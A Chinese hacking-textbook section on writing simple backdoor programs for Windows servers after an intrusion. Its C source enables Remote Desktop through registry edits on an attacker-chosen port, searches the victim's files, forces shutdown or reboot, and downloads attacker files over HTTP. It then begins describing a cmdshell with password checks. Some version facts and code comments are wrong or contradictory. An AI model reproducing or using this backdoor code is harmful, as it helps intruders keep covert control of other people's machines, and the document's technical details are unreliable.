3.3 编写简单的后门程序
为了实现获取重要信息或者长期控制和监控远程主机的目的,黑客往往会在成功入侵后,在该计算机中留下后门。一般来说,没有编程基础的黑客会在网站上下载后门。但高级的黑客是通过编程法来编写出一些具有特定功能的后门程序,以便于自己利用。
3.3.1 远程终端的开启案例
由于后门一般是运行在服务器上的,而服务器上安装的操作系统一般为Server版,所以有必要开启远程终端功能。终端服务只存在于Windows 2010 Server版、XP和2013中,而且终端服务在默认情况下是不安装的,如果需要则可通过“删除添加Windows组件”来安装。终端服务的重要作用是方便多用户同时操作网络中开启的终端服务器,所有用户对同一台服务器的所有操作都放在该服务器上。
通过修改注册表可开启远程终端。在Windows中修改注册表是不用重启系统的,而在Windows 7中修改注册表之后,需要重启系统才可开启远程终端功能。在Windows 8中开启终端之后不支持多用户登录,即当本地已有用户登录,远程再有用户登录终端,本地用户就会处于注销状态。通过修改注册表开启远程终端的具体流程如图所示。
开启远程终端流程
对于不同的操作系统修改的注册表项是不同的,但可对这3个操作系统中开启终端所需的所有键值都进行修改,以验证这样是可行的。
一般情况下,修改的注册表如下。
① 在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache下,建立netcache键,并创建字符串“Enabled”=“0”。
② 在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon下修改“ShutdownWithoutLogon”的键值,即“ShutdownWithoutLogon”=“0”。
③ 在HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer下建立Installer键,并建立十进制类型值EnableAdminTSRemote,其值为“EnableAdminTSRemote”=dword:00000001。
④ 在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer下修改TSEnabled键值,即“TSEnabled”=dword:00000001。
⑤ 在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD下 修 改Start键值,即“Start”=dword:00000002。
⑥ 在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService下修改Start键值,即“Start”=dword:00000002。
⑦ 在HKEY_USERS\.DEFAULT\KeyboardLayout\Toggle下修改hotkey键值,即“Hotkey”=“1”。
⑧ 在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer下修改fDenyTSconnections键值,即“fDenyTSconnections”=dword:00000000。
⑨ 在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\RDPTcp下修改PortNumber键值为十进制类型,其值为终端端口号。
⑩ 在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp下修改PortNumber键值为十进制类型,其值为终端端口号。
⑪ 在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp下修改PortNumber键值为十进制类型,其值为终端端口号。
对注册表进行修改操作,可以使用上一章介绍的CreateStringReg和CreateDWORDReg函数来实现。如果在Windows 2003中进行操作,需要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer下修改fDenyTSconnections键值为dword:00000001,否则开启远程终端就会失败。在修改完注册表键值后,就需要判断系统是否为Windows 2000。要想得到当前系统版本可通过GetVersionEx函数来实现,该函数的具体格式如下:
BOOL GetVersionEx(LPOSVERSIONINFO);
该函数只包含了一个参数IpVersionInformation,它指向一个OSVERSIONINFO结构,该结构的作用是加载当前系统版本信息。
该结构的具体定义如下。
typedef struct _OSVERSIONINFO{ DWORD dwOSVersionInfoSize; DWORD dwMajorVersion; DWORD dwMinorVersion; DWORD dwBuildNumber; DWORD dwPlatformId; TCHAR szCSDVersion[128]; } OSVERSIONINFO;
其中,dwMajorVersion和dwMinorVersion参数与系统版本号有关。对于不同的操作系统这两个参数的取值是有所不同的,如表所示。
不同系统版本的参数取值
当使用GetVersionEx函数得到系统版本是Windows 7时,就要重启计算机。
开启远程终端的代码如下。
#include "stdafx.h" #include <windows.h> #include <stdio.h> #include <stdlib.h> //用于修改字符串类型键值 void CreateStringReg(HKEY hRoot, char *szSubKey, char* ValueName, char *Data) { HKEY hKey; //打开注册表键,不存在则创建它 long lRet=RegCreateKeyEx(hRoot, szSubKey,0, NULL, REG_OPTION_ NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); if (lRet! =ERROR_SUCCESS) { printf("error no RegCreateKeyEx %s\n", szSubKey); return ; } //修改注册表键值,没有则创建它 lRet=RegSetValueEx(hKey, ValueName,0, REG_SZ, (BYTE*) Data, strlen(Data)); if (lRet! =ERROR_SUCCESS) { printf("error no RegSetValueEx %s\n", ValueName); return ; } RegCloseKey(hKey); } //用于修改数字类型键值 void CreateDWORDReg(HKEY hRoot, char *szSubKey, char* ValueName, DWORD Data) { HKEY hKey; //打开注册表键,不存在则创建它 long lRet=RegCreateKeyEx(hRoot, szSubKey,0, NULL, REG_OPTION_ NON_ VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); if (lRet! =ERROR_SUCCESS) { printf("error no RegCreateKeyEx %s\n", szSubKey); return ; } DWORD dwSize=sizeof(DWORD); //修改注册表键值,没有则创建它 lRet=RegSetValueEx(hKey, ValueName,0, REG_DWORD, (BYTE*) &Data, dwSize); if (lRet! =ERROR_SUCCESS) { printf("error no RegSetValueEx %s\n", ValueName); return ; } RegCloseKey(hKey); } //重启计算机函数 void Reboot() { HANDLE hToken; TOKEN_PRIVILEGES tkp; if(! OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES| TOKEN_QUERY, &hToken)) return; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount=1; tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp,0, (PTOKEN_PRIVILEGES) NULL,0); ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0); } int main(int argc, char* argv[]) { DWORD Port=atoi(argv[1]); CreateStringReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\ Windows\\CurrentVersion\\netcache", "Enabled", "0"); CreateDWORDReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Policies\\Microsoft\\ Windows\\Installer", "EnableAdminTSRemote",0x00000001); CreateStringReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\ Windows NT\\CurrentVersion\\Winlogon", "ShutdownWithoutLogon", "0"); CreateDWORDReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\ Control\\Terminal Server", "TSEnabled",0x00000001); CreateDWORDReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\ Services\\TermDD", "Start",0x00000002); CreateDWORDReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\ Services\\TermService", "Start",0x00000002); CreateDWORDReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\ Control\\Terminal Server", "fDenyTSConnections",0x00000001); CreateDWORDReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\ Control\\Terminal Server\\RDPTcp", "PortNumber", Port); CreateDWORDReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\ Control\\Terminal Server\\WinStations\\RDP-Tcp", "PortNumber", Port); CreateDWORDReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\ Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp", "PortNumber", Port); CreateStringReg(HKEY_USERS, ".DEFAULT\\Keyboard Layout\\Toggle", "Hotkey", "2"); CreateDWORDReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\ Control\\Terminal Server", "fDenyTSConnections",0x00000000); OSVERSIONINFO osver={sizeof(OSVERSIONINFO)}; //得到系统版本号 GetVersionEx(&osver); //判断是不是Windows7,是,则重启计算机 if(osver.dwMajorVersion==5&&osver.dwMinorVersion==0) Reboot(); return 0; }
3.3.2 文件查找功能案例
利用后门的文件查找功能,可以实现快速查找目标主机中某种格式的文件,如寻找目标主机中的日志文件。该功能是后门中比较少见的功能。
文件查找其实是一个比较复杂的过程,一般流程如图所示。
文件查找的一般流程
不难看出,文件查找有以下3个步骤。
① 对文件夹下的文件进行查找对比,查看是否有符合要求的文件;
② 同时列出这个文件夹下的所有子文件夹;
③ 对该文件夹中的文件进行查找,如果找到符合要求的文件则输出该文件。然后对其他文件进行查找,重复上面两步操作,直到找遍所有的文件夹。
要实现文件查找功能,还必须借助于链表。链表是一种物理存储单元上非连续、非顺序的存储结构,数据元素的逻辑顺序是通过链表中的指针链接次序实现的。链表由一系列节点组成,节点可以在运行时动态生成。每个节点包括两个部分:一个是存储数据元素的数据域,另一个是存储下一个节点地址的指针域。链表中第一个节点的地址存储在一个单独的节点中,称为头节点或首节点;链表中的最后一个节点没有后继元素,其指针域为空。
把每次找到的文件加入链表中,而当对一个文件夹搜索完毕后,就从链表中读取下一个节点得到另一个文件夹,并删除这个节点,对得到的文件夹下的文件进行查找对比。如果遍历到文件夹就再加入链表,一旦找到符合条件的文件就输出。这样直到链表为空时,就可以遍历所有的目录了。此链表的结构如图所示。
链表的结构
在C++中,链表中的节点对应的结构如下。
Struct DirList{ Char table[256]; DirList *pnext};
各个参数的含义如下。
· Table:该参数用来指定保存找到的文件夹名。
· *pnext:指向下一个节点的地址,即下一个DirList结构的地址。
在找到文件夹后,需要把该文件夹加入链表中。在链表为空的情况下(first和last节点指向的目标均为空),只把first和last节点都指向刚加入的节点即可。一般情况下,链表往往是非空的,此时将文件加入链表的流程如图所示。不难看出,这种情况是比较复杂的。
将节点加到非空链表中
其中,虚线表示在没加入新节点前存在,而在加入新节点后就不存在。如果想加入“文件夹2”节点,则把最后一个节点的pNext字段指向新的节点,且把last节点指向新的节点。当找到文件夹后,把该文件夹名放入链表的函数即可。
将节点加入链表用到的代码如下。
DirList *first, *newlist, *last; void AddList(char *list) //加入文件夹链表 { newlist=new DirList; strcpy(newlist->table, list); newlist->pNext=NULL; if(first==NULL) //假如文件链表为空,那么第一个和最后一个节点都指向新节点 { fi rst=newlist; last=newlist; } else //不为空,则原来最后一个节点指向新节点 { last->pNext=newlist; last=newlist; } }
其中,AddList函数的list参数指向一个文件夹的字符串。当一个节点被使用过后,即该节点中保存的文件夹下的文件和子文件夹已经被搜索过后,需要将该节点删除。由于访问节点是从第一个节点开始的,即每次First指向的节点。要想删除节点,只需将first指向第2个节点,即first=first→pnext。删除节点的一般流程如图所示。
删除节点的一般流程
到这里链表部分已经介绍完了,下面将介绍如何实现对一个文件夹进行遍历。在遍历文件夹时,需要用到FindFirstFile和FindNextFlie两个函数。首先利用前者获得一个句柄,再利用后者继续查找文件。因为FindNextFlie函数中第一个参数是FindFirstFile函数返回的句柄。
其中,FindFirstFile函数的具体格式如下。
HANDLE FindFirstFile( LPCTSTR lpFileName, // 文件名 LPWIN32_FIND_DATA lpFindFileData // 数据缓冲区 );
各个参数的作用如下。
· lpFileName:欲搜索的文件名,可包含通配符,并可包含一个路径或相对路径名。
· lpFindFileData:输出参数,它指向一个WIN32_FIND_DATA结构。该结构可用于装载与找到的文件有关的信息,也可用于后续的搜索。该结构的具体格式如下。
typedef struct _WIN32_FIND_DATA { DWORD dwFileAttributes; //文件属性 FILETIME ftCreationTime; // 文件创建时间 FILETIME ftLastAccessTime; // 文件最后一次访问时间 FILETIME ftLastWriteTime; // 文件最后一次修改时间 DWORD nFileSizeHigh; // 文件长度高32位 DWORD nFileSizeLow; // 文件长度低32位 DWORD dwReserved0; // 系统保留 DWORD dwReserved1; // 系统保留 TCHAR cFileName[ MAX_PATH ]; // 长文件名 TCHAR cAlternateFileName[ 14 ]; // 8.3格式文件名 } WIN32_FIND_DATA, *PWIN32_FIND_DATA;
可以通过FindFirstFile()函数根据当前的文件存放路径查找该文件,来把待操作文件的相关属性读取到WIN32_FIND_DATA结构中。它使用的代码如下。
WIN32_FIND_DATA ffd ; HANDLE hFind = FindFirstFile("C:\\test.dat", &ffd);
但在使用这个结构时不能手工修改其中的任何数据,结构对于开发人员来说只能作为一个只读数据,其所有的成员变量都会由系统完成填写。如果FindFirstFile函数调用成功,则返回可供FindNextFile函数和Findclose函数使用的句柄,否则返回INVALID_HANDLE_VALUE。在得到句柄后,可以使用FindNextFile函数继续查找FindFirstFile函数搜索后的文件。该函数的具体格式如下。
BOOLFindNextFile( HANDLE hFindFile, LPWIN32_FIND_DATA lpFindFileData);
各个参数的作用如下。
· hFindFile:搜索的文件句柄,函数执行的时候搜索的是此句柄的下一文件。
· lpFindFileData:指向一个用于保存文件信息的结构体,该参数与FindFirstFile中的lpFindFileData参数是一样的。
当遍历一个文件夹时先使用FindFirstFile函数,如果调用成功,返回hFindFile来对应该查找操作,利用该句柄循环调用FindNextFile函数来继续查找其他文件,直到调用该函数失败,最后使用FindClose函数来关闭hFindFile句柄。
在查找文件时用到的代码如下。
hFindFile=FindFirstFile(DirRoad, &fi ndData); if(hFindFile! =INVALID_HANDLE_VALUE) { do { 对找到的文件进行处理 }while(FindNextFile(hFindFile, &fi ndData)); }
下面是通过遍历一个文件查找符合要求文件的代码。
#include "stdafx.h" #include <windows.h> #include <stdio.h> struct DirList{ char table[256]; DirList *pNext; }; DirList *first, *newlist, *last; void AddList(char *list) //加入文件夹链表 { newlist=new DirList; strcpy(newlist->table, list); newlist->pNext=NULL; if(first==NULL) //假如文件链表为空,则第一个和最后一个节点都指向新 节点 { fi rst=newlist; last=newlist; } else //不为空,则原来最后一个节点指向新节点 { last->pNext=newlist; last=newlist; } } void FindFile(char *pRoad, char *pFile) //查找文件并把找到的文件夹加 入文件夹链表 { char FileRoad[256]={0}; char DirRoad[256]={0}; char FindedFile[256]={0}; char FindedDir[256]={0}; strcpy(FileRoad, pRoad); strcpy(DirRoad, pRoad); strcat(DirRoad, ”\\*.*”); WIN32_FIND_DATA findData; HANDLE hFindFile; hFindFile=FindFirstFile(DirRoad, &fi ndData); if(hFindFile! =INVALID_HANDLE_VALUE) { do { if(fi ndData.cFileName[0]=='.') continue; if(fi ndData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY) //假如是文件夹,则加入文件夹列表 { strcpy(FindedDir, pRoad); strcat(FindedDir, "\\"); strcat(FindedDir, fi ndData.cFileName); //加入文件夹列表 AddList(FindedDir); memset(FindedDir,0x00,256); } //继续查找 }while(FindNextFile(hFindFile, &fi ndData)); } strcat(FileRoad, "\\"); strcat(FileRoad, pFile); hFindFile=FindFirstFile(FileRoad, &findData); //查找要查找的文件 if(hFindFile! =INVALID_HANDLE_VALUE) { do { strcpy(FindedFile, pRoad); strcat(FindedFile, "\\"); strcat(FindedFile, findData.cFileName); //输出查找到的文件 printf("%s\n", FindedFile); memset(FindedFile,0x00,256); }while(FindNextFile(hFindFile, &fi ndData)); } } int SeachFile(char *Directory, char *SeachFile) { DirList NewList; strcpy(NewList.table, Directory); NewList.pNext=NULL; //初始化第一个和最后一个节点 last=&NewList; fi rst=&NewList; while(true) { DirList *Find; if(first! =NULL) //假如链表不为空,提取链表中的第一个节点,并 把第一个节点指向原来第二个 { Find=first; //提取节点 first=first->pNext; //并把第一个节点指向原来第二个 FindFile(Find->table, SeachFile); //在提取的节点的目录下 查找文件 } else//为空则停止查找 { printf("文件搜索完毕\n"); return 0; } } return 0; } int main(int argc, char* argv[]) { SeachFile(argv[1], argv[2]); return 0; }
最后main函数的第1个参数指向查找路径,而第2个参数则指向要查找的文件名。这样,程序就可以接受用户输入的信息。运行完程序就可以在“命令提示符”窗口中输入“seach.exe c:*.log”命令,即可看到C盘中所有的.log文件。如果输入“seach.exe c: *.bat”命令,即可看到C盘中所有的.bat文件。
3.3.3 重启、关机、注销案例
现在很多后门都包含重启、关机和注销功能,但后门一般是安装在服务器上的,对于个人计算机的控制一般用木马,所以重启和注销这两个功能比较实用。要在Windows 2000及以上的操作系统实现这些功能,需要借助于ExitWindowsEx函数。但微软出于安全考虑,ExitWindowsEx函数要有一定权限才可以运行,所以在调用ExitWindowsEx函数前需要先获得较高的系统权限。要想编程使Windows关机、重启或者注销,可以使用ExWindowsEx这个API函数。该函数只有两个参数,第一个表示关机动作的标志,也就是你要让该函数关机、重启,还是注销等。可以使用EWX_SHUTDOWN、EWX_REBOOT、EWX_LOGOFF等标志常量,分别表示关机、重启、注销。另外,如果加上EWX_FORCE这个标志常量的话,则表明强制执行该操作。Windows在执行以上操作的时候会首先给每个正在运行中的程序发送一个WM_QUERYENDSESSION消息,这个消息就是保存文件的请求!如果这时候其中有某一个程序对该消息回应了“不”,系统就不会再执行以上操作了。而如果指定了EWX_FORCE标志,系统则不会发送消息去询问各个程序了,而是直接强制关闭所有程序,退出系统。所以说当指定了EWX_FORCE标志的时候要小心,因为这样做可能会丢失一些东西(如文件可能没有保存)。第二参数是保留参数,可能直接传递0值。另外,当在Windows XP以上的操作系统执行关机和重启操作时,需要调用该函数的进程以首先获得关机特权,不然函数会调用失败。
对于Windows NT以上版本的操作系统,我们需要提升一个SE_SHUTDOWN权限,才能完成关机的操作。NT以下的则不需要,如95、98、ME。
NT以上的系统如下所示。
Microsoft Windows 2000(Windows NT 5.0)(1999)(2000—2010)。
Microsoft Windows XP(Windows NT 5.1)(2001—2014)。
Microsoft Windows Server 2003(Windows NT 5.2)(2003—2015)。
Microsoft Windows Server 2003 R2(Windows NT 5.2)(2006—2015)。
Microsoft Windows Vista(Windows NT 6.0)(2006—2017)。
Microsoft Windows Server 2008(Windows NT 6.0)(2008—2018)。
Microsoft Windows 7(Windows NT 6.1)(2009—2020)。
通过如下方式来提升权限。
#pragma region用来提升系统权限 //这是一个通用的提升权限函数,如果需要提升其他权限 //更改LookupPrivilegeValue的第二个参数SE_SHUTDOWN_NAME,即可 BOOL EnableShutDownPriv() { HANDLE hToken=NULL; TOKEN_PRIVILEGES tkp={0}; //打开当前程序的权限令牌 if(! OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_ PRIVILEGES| TOKEN_QUERY, &hToken)) { return FALSE; } //获得某一特定权限的权限标识LUID,保存在tkp中 if (! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp. Privileges[0].Luid)) { CloseHandle(hToken); return FALSE; } tkp.PrivilegeCount=1; tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; //调用AdjustTokenPrivileges来提升我们需要的系统权限 if(! AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(TOKEN_ PRIVILEGES), NULL, NULL)) { CloseHandle(hToken); return FALSE; } return TRUE; }
由于重启、关机、注销都需要调用ExitWindowsEx函数,下面来了解该函数的作用和一般格式。该函数的作用是注销当前用户、关闭系统或关闭并重启计算机。
该函数的具体格式如下。
ExitWindowsEx( UINT uFlags, DWORD dwReserved);
各个参数的具体作用如下。
· uFlags:该参数指定关机类型。
· EWX_POWEROFF:关闭系统以及电源。
· EWX_LOGOFF:关闭所有调用ExitWindowsEx进程的安全环境里运行的进程,再注销用户。
· EWX_REBOOT:关闭系统并重启计算机。
· EWX_SHUTDOWN:关闭系统使其完全关闭电源,所有文件缓冲区都被清洗到磁盘,所有运行的进程都被停止。
· dwReserved:一般设置为0。
调用该函数非常简单,其调用一般格式如下。
ExitWindowsEx(EWX_LOGOFF,0); //注销 ExitWindowsEx(EWX_REBOOT,0); //重启 ExitWindowsEx(EWX_SHUTDOWN,0); //关机
由于在Windows 2000及以上的系统中调用ExitWindowsEx函数前,需要先获得较高的系统权限,获得系统权限的一般流程如图所示。从中可以看出,只需调用3个API函数就可以提升进程的权限。
获得系统权限的一般流程
首先调用OpenProcessToken函数打开进程令牌的句柄。该函数的具体格式如下。
BOOL OpenProcessToken( HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle );
各个参数的具体作用如下:
· ProcessHandle:指向要修改访问权限的进程句柄;
· DesiredAccess:指定一个访问掩码,该掩码可以指定要进行的操作类型;
· TokenHandle:指向句柄的指针,当函数返回时该句柄则标识新打开的访问令牌。
当打开进程的访问令牌的句柄后,需要通过调用LookupPrivilegesValue函数修改进程的权限。该函数的具体格式如下。
BOOL LookupPrivilegevalue( LPCTSTR lpSystemName, LPCTSTR lpName, PLUID lpLuid );
各个参数的具体含义如下。
· pSystemName:指定系统名称,如果为null则表示为系统计算机系统。
· pName:指明了要修改权限的名称。
· pLuid:指向返回的LUID的指针。
在修改完进程权限之后,需要把所做的修改告诉系统。此时就需要调用AdjustToken Privileges函数,其作用是通知Windows系统对进程所做的修改。
该函数的具体格式如下。
BOOL AdjustTokenPrivileges( HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength );
各个参数的具体作用如下。
· TokenHandle:指向访问令牌的句柄。
· DisableAllPrivileges:决定是对权限进行修改还是关闭所有权限。
· NewState:指向要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数组的每个项指明了权限的类型和进行的操作。
· BufferLength:是结构PreviousState的长度,如果PreviousState为空,该参数应为NULL。
· PreviousState:也是一个指向TOKEN_PRIVILEGES结构的指针,存放修改前访问权限的信息。
· ReturnLength:实际PreviousState结构返回的大小。
如果成功调用AdjustTokenPrivileges函数,就拥有关闭计算机的权限;只要调用ExitWindowsEx函数,就可以实现关机、重启、注销等操作。
下面是在Windows XP以上系统中实现关机操作的具体代码。
#include "stdafx.h" #include <windows.h> #include <string.h> void ShutDown() { HANDLE hToken; TOKEN_PRIVILEGES tkp; if(! OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_ PRIVILEGES|TOKEN_QUERY, &hToken)) //代开当前进程令牌 return; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0]. Luid); //获取本地唯一表示用于在特定的系统中设置权限 tkp.PrivilegeCount=1; tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp,0, (PTOKEN_PRIVILEGES) NULL,0); //提升访问令牌权限 ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0); //关机 } void Reboot() { HANDLE hToken; TOKEN_PRIVILEGES tkp; if(! OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_ PRIVILEGES|TOKEN_QUERY, &hToken)) return; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0]. Luid); tkp.PrivilegeCount=1; tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp,0, (PTOKEN_PRIVILEGES)NULL,0); ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0); } void LogOff() { HANDLE hToken; TOKEN_PRIVILEGES tkp; if(! OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_ PRIVILEGES|TOKEN_QUERY, &hToken)) return; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0]. Luid); tkp.PrivilegeCount=1; tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp,0, (PTOKEN_PRIVILEGES) NULL,0); ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0); } int main(int argc, char* argv[]) { if(! strcmp(argv[1], "shutdown")) ShutDown(); if(! strcmp(argv[1], "reboot")) Reboot(); if(! strcmp(argv[1], "logoff")) LogOff(); return 0; }
编程实现Windows关机、重启、注销操作的具体代码如下。
#include <windows.h> //使能关机特权函数 BOOL EnableShutdownPrivilege() { HANDLE hProcess = NULL; HANDLE hToken = NULL; LUID uID = {0}; TOKEN_PRIVILEGES stToken_Privileges = {0}; hProcess = ::GetCurrentProcess(); //获取当前应用程序进程句柄 if(! ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)) //打开当前进程的访问令牌句柄(OpenProcessToken函数调用失败返回值 为0) return FALSE; if(! ::LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &uID))//获取 权限名称为"SeShutdownPrivilege"的LUID(LookupPrivilegeValue函数调用失 败返回值为0) return FALSE; stToken_Privileges.PrivilegeCount = 1; //想要调整的权限个数 stToken_Privileges.Privileges[0].Luid = uID; //权限的LUID标志 stToken_Privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //权限的属性,SE_PRIVILEGE_ENABLED为使能该权限 if(! ::AdjustTokenPrivileges(hToken, FALSE, &stToken_Privileges, sizeof stToken_Privileges, NULL, NULL)) //调整访问令牌里的指定权限 (AdjustTokenPrivileges函数调用失败返回值为0) return FALSE; if(::GetLastError() ! = ERROR_SUCCESS) //查看权限是否调整成功 return FALSE; ::CloseHandle(hToken); return TRUE; } //关机函数 BOOL Shutdown(BOOL bForce) { EnableShutdownPrivilege(); //使能关机特权函数 if(bForce) return ::ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE,0); //强 制关机 else return ::ExitWindowsEx(EWX_SHUTDOWN,0); } //注销函数 BOOL Logoff(BOOL bForce) { if(bForce) return ::ExitWindowsEx(EWX_LOGOFF | EWX_FORCE,0); //强 制注销 else return ::ExitWindowsEx(EWX_LOGOFF,0); } //重启函数 BOOL Reboot(BOOL bForce) { EnableShutdownPrivilege(); //使能关机特权函数 if(bForce) return ::ExitWindowsEx(EWX_REBOOT | EWX_FORCE,0); //强制重启 else return ::ExitWindowsEx(EWX_REBOOT,0); } int main() { Logoff(FALSE); //注销 Reboot(FALSE); //重启 Shutdown(FALSE); //关机 Logoff(TRUE); //强制注销 Reboot(TRUE); //强制重启 Shutdown(TRUE); //强制关机 return 0; }
3.3.4 通过http下载文件案例
黑客在入侵过程中会上传一些文件,有时文件上传会成为入侵成功的关键。而http下载功能则可很好地实现文件上传,而且一般防火墙不会拦截http数据包,所以现在很多后门都有http下载功能。在编程中,http下载一般有如下3种实现方法。
① 通过Winsock类库来实现,但是该种方法需要构造http数据包。
② 通过Winnet函数实现。
③ 通过函数URLDownloadToFile实现,这是最简单的一种方法。
由于前两种方法比较烦琐,这里只介绍最后一种方法。该种方法只需调用URLDownload ToFile函数就可以了。URLDownloadToFile函数是建立在URLMON.DLL文件中的一个导出函数,其作用是把一个文件从Web服务器下载到本地硬盘。该函数的具体格式如下。
HRESULT URLDownloadToFile( LPUNKNOWN pCaller, LPCTSTR szURL, LPCTSTR szFileName, DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB );
各个参数的具体含义如下。
· pCaller:当调用者是一个ActiveX对象时,才使用该参数,一般设置为NULL。
· szURL:要下载文件的目标URL。
· szFileName:本地保存完成路径。
· dwReserved:保留参数,一般为0。
· lpfnCB:是指向一个IBindStatusCallback接口的指针,类似一种回调机制。在编程时可以参考这些来查看当前下载进度,以及设置是否继续下载等。
注意
在调用URLDownloadToFile函数之前需要先引入头文件:#include <urlmon.h>。由于在C++中默认没有加载连接文件,所以要包括头文件:#pragma comment(lib, “urlmon. llib")。
通常情况下,只有szURL和szFileName两个参数被经常使用,而其他参数只要设置为0就可以了。下载文件的一般流程如图所示。要实现把文件下载到本地,需要判断要下载的文件是否存在于目标位置,如果存在则需将该文件删除,再下载目标文件。
下载文件的一般流程
下面是判断文件是否存在于目标位置的代码。
BOOL FileExists(LPCTSTR lpszFileName) //判断文件是否存在 { DWORD dwAttributes=GetFileAttributes(lpszFileName); //得到文件属性 if(dwAttributes==0xffffffff) //函数调用成功则文件存在 { return false; } Else //否则文件不存在 { return true; } }
其中,=GetFileAttributes函数的作用是查看文件或目录属性,如果该函数调用成功则返回文件或目录的属性,表明目标文件已存在。如果执行失败返回0xffffffff,则表明该文件不存在。
下面是实现文件下载的具体代码。
#include <stdio.h> #include <urlmon.h> #pragma comment(lib, "urlmon.lib") BOOL FileExists(LPCTSTR lpszFileName) //判断文件是否存在 { DWORD dwAttributes=GetFileAttributes(lpszFileName); //得到文件属性 if(dwAttributes==0xffffffff) //函数调用失败则文件不存在 { return false; } else//否则文件存在 { return true; } } void download(char *Url, char *FilePath) //http下载文件 { if(FileExists(FilePath)) { //删除已有文件 if(! DeleteFile(FilePath)) { printf("文件已存在,并且无法删除\n"); } } URLDownloadToFile(0, Url, FilePath,0,0); //下载文件 if(FileExists(FilePath)) //判断文件存不存在,以确定下载成功与否 { printf("文件下载成功\n"); } else { printf("文件下载失败\n"); } } int main(int argc, char* argv[]) { download(argv[1], argv[2]); return 0; }
在“命令提示符”窗口中输入“httpdown.exe http://bbs.sznews.com/upload/20060709/U200607091152453036503.rm C:\我只在乎你.mp3”命令,其中http://bbs.sznews.com/upload/20060709/U200607091152453036503.rm是下载文件的目标URL,而“C:\我只在乎你.mp3”是本地的保存路径。按下回车键运行该命令,即可开始下载文件。待下载完毕后会出现“文件下载成功”的提示信息,可以操作使用运行一下。
3.3.5 cmdshell和各功能的切换案例
把前面介绍的后门的几种基本功能组合在一起,再加上密码验证就构成一个完整的后门。可以把每个功能都写成函数,再以接收到特定的字符串来判断要调用哪个函数、执行哪项功能等。在相应的功能执行完毕之后,再继续等待接收新的特定字符串。而且,在刚接收到连接时必须对连接进行密码验证。其工作流程如图所示。
后门的工作流程
为了实现通用性还必须解决:一般连接后门都会用到nc或telnet,但nc和telnet在传输数据上是有所不同的。nc是当输完字符,按下回车键后,把先前的字符组或字符串一起发送,再发送回车符;而telnet是输入一个字符发送一个字符。在使用telnet进行后门连接时,当后门收到字符串cmdshell会开启cmdshell功能,但当用户输入第一个字符C时已经传输了,当输入m时又把m传输给后门,这样后门就接收不到cmdshell字符串。
